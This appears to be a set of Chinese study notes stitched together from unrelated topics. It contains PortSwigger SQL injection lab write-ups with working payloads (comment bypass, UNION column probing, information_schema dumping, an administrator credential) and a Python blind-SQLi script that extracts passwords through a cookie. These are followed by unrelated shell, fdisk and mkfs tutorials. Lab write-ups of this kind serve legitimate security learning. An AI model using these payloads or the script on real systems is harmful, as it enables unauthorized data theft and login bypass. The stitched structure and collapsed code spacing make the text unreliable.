在提交 HTML 表单时,浏览器通常会在 POST请求中发送所提供的数据,内容类型为 application/x-www-form-url-encoded。这对于发送简单的文本(如姓名或地址)很合适。但它不适合发送大量二进制数据,如整个图像文件或 PDF 文档。在这种情况下,首选内容类型为 multipart/form-data。
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
这个是查看隐藏数据的漏洞,比较简单。通过BurpSuite直接拦截修改就行。
之所以能隐藏信息是因为后端的查询语句是
1
SELECT*FROM products WHERE category ='Gifts'AND released =1
因此通过我们的修改注释掉了AND released = 1
思考:
首先对后端查询语句要有一定敏感程度,另外如果AND后的语句在前是否就避免了这个漏洞呢?
SQL injection vulnerability allowing login bypass
这个也非常简单,注释掉password就可以登录任意用户了。
思考:
对之前挖的几个平台做了一下尝试,没出意外都失败了。果然这么简单的洞不太好遇见。
SQL injection UNION attack, determining the number of columns returned by the query
这个使用?category=Accessones' order by 3--时不报错,使用?category=Accessones' order by 4--时报错,说明返回列有三个。但是不能直接过关,需要使用'?category=Accessones'UNION SELECT NULL,NULL,NULL--过关
我们可以看到,虽然执行order by 4的时候报错,但是报错代码为500说明还是执行了的。在portswigger中提到:
As with the ORDER BY technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.
SQL injection UNION attack, finding a column containing text
让找哪个列支持查找字符串,找出一共多少列以后,挨个试试就可以了
1
'+UNION+SELECT+'abcdef',NULL,NULL--
1 2 3 4 5
?category=Accessories' union select null,'Y5LIpq',null--+ 或者 ?category=Accessories%'unionselectnull,'Y5LIpq',null--+ 或者 ?category=Accessories' and 1=2 union select null,'Y5LIpq',null--+
SQL injection UNION attack, retrieving data from other tables
?category=Gifts' union select null,table_name from information_schema.tables--+ 列:username,password ?category=Gifts'unionselectnull,column_name from information_schema.columns where table_name='users'--+
数据:administrator===lcv555mv2prf2m81w40v ?category=Gifts' union select null,concat(username,'===',password) from users--+ 利用administrator登录
SQL injection attack, querying the database type and version on MySQL and Microsoft
#cookie获取密码长度get_password_length_by_user defget_password_length_by_user(url,username,tablename,intject_id): for i inrange(100): cookies = { 'TrackingId': f"{intject_id}' and (select 'a' from users where username='{username}' AND LENGTH(password)>{i})='a' --+" } response = requests.request(url=url,method=method,cookies=cookies) sleep(sleep_time) if'Welcome back!'in response.text: continue else: password_length=i return password_length break
#爆破某一用户名密码 defget_password_by_user(url,username,tablename,inject_id): result='' password_length=get_password_length_by_user(url,username,tablename,inject_id) for password_index inrange(1, password_length+1): ascii_low = 32 ascii_high = 128 ascii_mid=(ascii_low+ascii_high)//2 while ascii_low < ascii_high: cookies = { 'TrackingId': f"{inject_id}' and ascii(substr((select password from {tablename} where username='{username}'),{password_index},1)) > {ascii_mid}--+;" } response = requests.request(url=url,method=method,cookies=cookies) sleep(sleep_time) if'Welcome back!'in response.text: ascii_low=ascii_mid+1 else: ascii_high = ascii_mid ascii_mid=(ascii_low+ascii_high)//2 result+=chr(ascii_mid) return result password=get_password_by_user( url,username,tablename,TrackingId) print(password)
python@ubuntu:~/test$ printf"a string, no processing:<%s>\n""A\nB" a string, no processing:<A\nB> python@ubuntu:~/test$ printf"a string, no processing:<%b>\n""A\nB" a string, no processing:<A B> python@ubuntu:~/test$ printf"www.runoob.com \a" www.runoob.com python@ubuntu:~/test$
if [ $a -eq $b ] then echo"$a -eq $b : a 等于 b" else echo"$a -eq $b: a 不等于 b" fi if [ $a -ne $b ] then echo"$a -ne $b: a 不等于 b" else echo"$a -ne $b : a 等于 b" fi if [ $a -gt $b ] then echo"$a -gt $b: a 大于 b" else echo"$a -gt $b: a 不大于 b" fi if [ $a -lt $b ] then echo"$a -lt $b: a 小于 b" else echo"$a -lt $b: a 不小于 b" fi if [ $a -ge $b ] then echo"$a -ge $b: a 大于或等于 b" else echo"$a -ge $b: a 小于 b" fi if [ $a -le $b ] then echo"$a -le $b: a 小于或等于 b" else echo"$a -le $b: a 大于 b" fi
执行脚本,输出结果如下所示:
1 2 3 4 5 6
10 -eq 20: a 不等于 b 10 -ne 20: a 不等于 b 10 -gt 20: a 不大于 b 10 -lt 20: a 小于 b 10 -ge 20: a 小于 b 10 -le 20: a 小于或等于 b
if [ $a = $b ] then echo"$a = $b : a 等于 b" else echo"$a = $b: a 不等于 b" fi if [ $a != $b ] then echo"$a != $b : a 不等于 b" else echo"$a != $b: a 等于 b" fi if [ -z $a ] then echo"-z $a : 字符串长度为 0" else echo"-z $a : 字符串长度不为 0" fi if [ -n "$a" ] then echo"-n $a : 字符串长度不为 0" else echo"-n $a : 字符串长度为 0" fi if [ $a ] then echo"$a : 字符串不为空" else echo"$a : 字符串为空" fi
执行脚本,输出结果如下所示:
1 2 3 4 5
abc = efg: a 不等于 b abc != efg : a 不等于 b -z abc : 字符串长度不为 0 -n abc : 字符串长度不为 0 abc : 字符串不为空
file="/var/www/runoob/test.sh" if [ -r $file ] then echo"文件可读" else echo"文件不可读" fi if [ -w $file ] then echo"文件可写" else echo"文件不可写" fi if [ -x $file ] then echo"文件可执行" else echo"文件不可执行" fi if [ -f $file ] then echo"文件为普通文件" else echo"文件为特殊文件" fi if [ -d $file ] then echo"文件是个目录" else echo"文件不是个目录" fi if [ -s $file ] then echo"文件不为空" else echo"文件为空" fi if [ -e $file ] then echo"文件存在" else echo"文件不存在" fi
执行脚本,输出结果如下所示:
1 2 3 4 5 6 7
文件可读 文件可写 文件可执行 文件为普通文件 文件不是个目录 文件不为空 文件存在
test命令
Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。
数值测试
参数
说明
-eq
等于则为真
-ne
不等于则为真
-gt
大于则为真
-ge
大于等于则为真
-lt
小于则为真
-le
小于等于则为真
实例演示:
1 2 3 4 5 6 7 8
num1=100 num2=100 iftest $[num1] -eq $[num2] then echo'两个数相等!' else echo'两个数不相等!' fi
for i in {1..9};do for((j=1;j<=i;j++));do echo -en "$i*$j=$(($i*$j))\t" done echo"" done
for a in {1..9};do for b in {0..9};do for c in {0..9};do number1=$((a*100+b*10+c)) number2=$((a**3+b**3+c**3)) iftest$number1 -eq $number2; then echo"Found number $number1" fi done done done
DOS (MBR) a toggle a bootable flag b edit nested BSD disklabel c toggle the dos compatibility flag
Generic d delete a partition<==删除一个partition F list free unpartitioned space l list known partition types n add a newpartition<==新增一个partition p print the partitiontable<==在屏幕上显示分割表 t change a partition type v verify the partitiontable i print information about a partition
Misc m print this menu u change display/entry units x extra functionality (experts only)
Script I load disk layout from sfdisk script file O dump disk layout to sfdisk script file
Save & Exit w write tableto disk and exit <==将刚刚的动作写入分割表 q quit without saving changes <==不储存离开fdisk程序
Create a new label g create a newempty GPT partitiontable G create a newempty SGI (IRIX) partitiontable o create a newempty DOS partitiontable s create a newempty Sun partitiontable
离开 fdisk 时按下 q,那么所有的动作都不会生效!相反的, 按下w就是动作生效的意思。
这个是我的本地虚拟机:
1 2 3 4 5 6 7 8
Command (m forhelp): p <== 这里可以输出目前磁盘的状态 Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xbb210c3d Command (m forhelp): q
[root@www ~]# mkfs -t ext3 /dev/hdc6 mke2fs 1.39 (29-May-2006) Filesystem label= <==这里指的是分割槽的名称(label) OS type: Linux Block size=4096 (log=2) <==block 的大小配置为 4K Fragment size=4096 (log=2) 251392 inodes, 502023 blocks <==由此配置决定的inode/block数量 25101 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=515899392 16 block groups 32768 blocks per group, 32768 fragments per group 15712 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912
This filesystem will be automatically checked every 34 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. # 这样就创建起来我们所需要的 Ext3 文件系统了!简单明了! 1234567891011121314151617181920212223